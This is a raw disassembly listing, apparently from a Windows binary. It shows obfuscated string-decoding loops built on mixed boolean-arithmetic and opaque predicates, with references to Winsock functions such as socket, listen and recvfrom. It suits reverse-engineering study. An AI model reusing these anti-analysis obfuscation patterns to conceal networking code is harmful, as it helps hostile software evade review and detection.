lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 + 0x660], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x2a
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
add r10b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x14007dc62
add r10b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
jmp 0x14007dc52
lea rcx, [rbp + 0x17fa3b8]
jmp 0x14007e767
lea rcx, [rbp + 0x174d8ba]
jmp 0x14007e767
lea rcx, [rbp + 0x660]
lea rdx, [0x1401feb8b]
call fcn.140039a40
call fcn.14000cd80
mov dword [rbp + 0x24], 0x43bf0000
mov dword [rbp + 0x28], 0x428c0000
lea rcx, [rbp + 0x24]
call fcn.14001a7c0
mov dword [rbp + 0x2c], 0x438d0000
mov dword [rbp + 0x30], 0x43c10000
lea r12, [rbp + 0x2c]
mov byte [rbp + 0x300], 0xd5
mov byte [rbp + 0x301], 0xfa
mov byte [rbp + 0x302], 0xe7
mov byte [rbp + 0x303], 0xb3
mov byte [rbp + 0x304], 0xcf
mov byte [rbp + 0x305], 0xf2
mov byte [rbp + 0x306], 0xe0
mov byte [rbp + 0x307], 0xe3
mov byte [rbp + 0x308], 0xf5
mov byte [rbp + 0x309], 0xef
mov byte [rbp + 0x30a], 0xf1
mov byte [rbp + 0x30b], 0xe6
mov byte [rbp + 0x30c], 0x9a
xor eax, eax
mov qword [rbp + 0x30d], rax
mov dword [rbp + 0x315], eax
mov byte [rbp + 0x319], al
movabs rsi, 0xf67cf2cc3814cd93
movabs r15, 0xbd6aa39588919f05
movabs r14, 0xe376d864a83e68b9
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x1a
jae 0x14007f391
movzx r10d, byte [rbp + r11 + 0x300]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007f388
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007e89c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 5
jmp 0x14007e8e3
je 0x14007f31c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f294
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f261
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007f21d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f1f8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007f1ad
movzx r9d, r11b
cmp r8, r11
ja 0x14007f37f
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14007e911
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
jmp 0x14007e950
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f194
cmp rbx, rcx
je 0x14007f171
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f154
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f139
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007f10a
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007eea6
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007ee8b
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007ee65
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007ee42
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ee27
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007ee0a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007eded
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007edd2
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007edb5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ed86
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007e960
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007f362
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007f345
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007eb4d
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007eb32
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007eb17
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007ed3d
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007ecf4
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007ecb5
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007ec8d
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007e960
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007ec5b
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007ec3e
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007ec23
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007ec06
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007ebe9
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007ebce
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007ebab
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007eb85
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007eb6a
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007e960
lea rbx, [r8 + 0x41]
lea r8, [rbx + 1]
jmp 0x14007e960
lea ecx, [r9 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x49
jmp 0x14007e950
lea ecx, [r9 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x14007e8e7
sub r9b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5d
jmp 0x14007e870
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14007f1cb
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
inc r8
dec r11
inc r11
jmp 0x14007e853
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
dec r11
inc r11
jmp 0x14007e853
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14007f23b
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14007f278
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
jmp 0x14007f27b
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x14007f2aa
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
jmp 0x14007f2d7
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
add r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x21
mov byte [rbp + r11 + 0x300], dil
inc r11
jmp 0x14007e853
lea ecx, [r9 + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2b
cmp r8, 0x3e8
jb 0x14007eca5
lea ecx, [r9 - 0x6e]
movzx eax, cl
and al, r10b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14007f1cb
lea ecx, [r9 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
cmp rbx, 0x42
jae 0x14007f0d6
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14007f014
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007eccb
lea ecx, [r9 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
lea rax, [r8 + rbx]
cmp rax, 1
je 0x14007f0f4
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14007ef56
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
jmp 0x14007ed0a
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x14007f2d7
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x14007f2aa
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14007f27b
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
jmp 0x14007f278
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14007f23b
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
dec r11
inc r11
jmp 0x14007e853
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14007e853
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14007f1cb
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x14007eeca
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
jmp 0x14007ed53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ef05
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ef2d
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f2aa
cmp rbx, rcx
jne 0x14007ed53
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f27b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ef7a
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x14007f1cb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007efa6
add r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4f
dec r11
inc r11
jmp 0x14007e853
cmp rbx, rcx
jne 0x14007efc6
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x14007f23b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007efec
sub r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6d
jmp 0x14007f27b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007ed0a
lea ecx, [r9 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
jmp 0x14007f2aa
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f04f
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f077
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f2aa
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f0a0
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f278
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007eccb
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007e853
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add dil, r10b
jmp 0x14007f23b
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x12]
jmp 0x14007f2aa
add r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3d
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
jmp 0x14007f2aa
sub r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5b
jmp 0x14007f27b
sub r9b, 0x7f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x79
dec r11
inc r11
jmp 0x14007e853
lea edx, [r9 + 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x73
jmp 0x14007f1c8
movzx r9d, r11b
lea edx, [r9 - 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5f
add dil, dl
add r9b, 0x25
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 3
add r10b, r9b
mov byte [rbp + r11 + 0x300], r10b
inc r8
dec r11
inc r11
jmp 0x14007e853
lea ecx, [r11 - 0x3d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x55
inc r8
dec r11
inc r11
jmp 0x14007e853
movzx r9d, r11b
lea edx, [r9 + 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x41
add dil, dl
add r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xd
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x300], cl
jmp 0x14007f278
lea ecx, [r11 + 0x51]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x37
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007e853
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x23
movzx r9d, r11b
add r9b, 0x71
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x17
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x300], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x1c
add r10b, cl
mov byte [rbp + r11 + 0x300], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0xf
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e853
add r9b, 0x5f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x67
jmp 0x14007e850
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x71
jmp 0x14007e834
lea rcx, [rbp + 0x17a21c4]
jmp 0x14007f398
lea rcx, [rbp + 0x8eef57]
jmp 0x14007f398
lea rcx, [rbp + 0x300]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
call fcn.140009e00
mov byte [rbp + 0xb0], 0x4c
mov byte [rbp + 0xb1], 0x54
mov byte [rbp + 0xb2], 0x5e
mov byte [rbp + 0xb3], 0x83
xor eax, eax
mov qword [rbp + 0xb4], rax
mov dword [rbp + 0xbc], eax
movabs r13, 0x37506fc74cc8fdc1
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r15d, r15d
cmp r15, 0x10
jae 0x14007ff0b
movzx r9d, byte [rbp + r15 + 0xb0]
mov r12d, r9d
nop dword [rax]
cmp rbx, r15
ja 0x14007feff
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007f43c
lea rcx, [r15 + r13]
mov rax, rcx
and rax, r12
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r12
sub dil, 0x47
jmp 0x14007f483
je 0x14007fe86
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007fdee
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007fdb7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007fd76
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007fd55
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007fd0e
movzx edx, r15b
nop word [rax + rax]
movzx r10d, dl
movzx r14d, dl
cmp r8, r15
ja 0x14007fef6
lea rsi, [r8 + 2]
lea r11, [r8 + 1]
cmp rbx, rsi
jae 0x14007f4c9
lea ecx, [rdx - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
lea rcx, [r8 + 3]
jmp 0x14007f500
cmp rbx, r11
je 0x14007fcf6
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x14007fcd3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007fcb6
cmp rbx, rsi
je 0x14007fc9b
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r15
jbe 0x14007f9e4
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f9c6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f9a3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007f97f
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007f965
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007f944
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007f92a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f90c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007f8f2
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007f8c2
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007f510
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 2]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007fed9
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007febc
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007f6b2
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007f699
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007f87a
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007f82f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007f7f1
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007f7cc
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007f7a0
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007f782
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007f768
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007f74a
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007f72d
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007f70d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007f6ea
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007f6cc
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007f510
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x200]
jmp 0x14007f510
lea ecx, [rdx + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
jmp 0x14007f490
sub dl, 0x39
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x71
jmp 0x14007f410
sub dl, 0x58
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fd28
add dl, 0x26
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0xa
inc r8
dec r15
inc r15
jmp 0x14007f3f3
sub dl, 0x5c
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x7c
dec r15
inc r15
jmp 0x14007f3f3
sub dl, 0x60
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x60
add rbx, r8
jmp 0x14007fdd5
add dl, 0x1e
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fdd5
sub dl, 0x64
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x44
jmp 0x14007fe13
add dl, 0x1a
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fe3f
sub dl, 0x68
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x28
movzx eax, byte [rbp + r15 + 0xb0]
add rax, r8
add r15, rax
inc r15
jmp 0x14007f3f3
sub dl, 0x2d
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x3b
mov byte [rbp + r15 + 0xb0], dil
inc r15
jmp 0x14007f3f3
add dl, 0x51
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x37
cmp r8, 0x200
jb 0x14007f7e1
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
mov edx, 0x1b
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007fd28
sub dl, 0x31
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x57
cmp rbx, 0x42
jae 0x14007fc67
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14007fb7e
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f806
add dl, 0x4d
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x1b
lea rax, [rbx + r8]
cmp rax, 2
je 0x14007fc85
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14007fabc
lea ecx, [r10 - 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x15
jmp 0x14007f844
sub dl, 2
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r15 + 0xb0]
add rax, r8
add r15, rax
inc r15
jmp 0x14007f3f3
add dl, 0x7c
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x64
jmp 0x14007fe3f
sub dl, 6
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fe13
add dl, 0x78
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x48
jmp 0x14007fdd5
sub dl, 0xa
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007fdd5
add dl, 0x74
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x2c
jmp 0x14007fd90
sub dl, 0xe
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r15
inc r15
jmp 0x14007f3f3
add dl, 0x70
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x10
inc r8
dec r15
inc r15
jmp 0x14007f3f3
sub dl, 0x12
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fd28
cmp rbx, rcx
jae 0x14007fa06
sub r14b, 0x3f
movzx eax, r14b
and al, r9b
add al, al
sub r14b, al
lea edi, [r9 + r14]
sub dil, 0x47
jmp 0x14007f88f
cmp rbx, r11
jne 0x14007fa3d
sub r10b, 0x56
movzx eax, r10b
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r15 + 0xb0]
add rax, r8
add r15, rax
inc r15
jmp 0x14007f3f3
cmp rbx, rcx
jne 0x14007fa61
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fe13
cmp rbx, rsi
jne 0x14007fa89
sub r10b, 0x4e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14007fdd5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007f88f
sub r10b, 0x4a
movzx eax, r10b
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r15
inc r15
jmp 0x14007f3f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007fae0
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
jmp 0x14007fd28
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007fb0e
inc r10b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 7
inc r8
dec r15
inc r15
jmp 0x14007f3f3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007fb34
add r10b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
jmp 0x14007fdd5
cmp rbx, rcx
jne 0x14007fb54
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
jmp 0x14007fe13
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f844
add r10b, 0xd
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5b
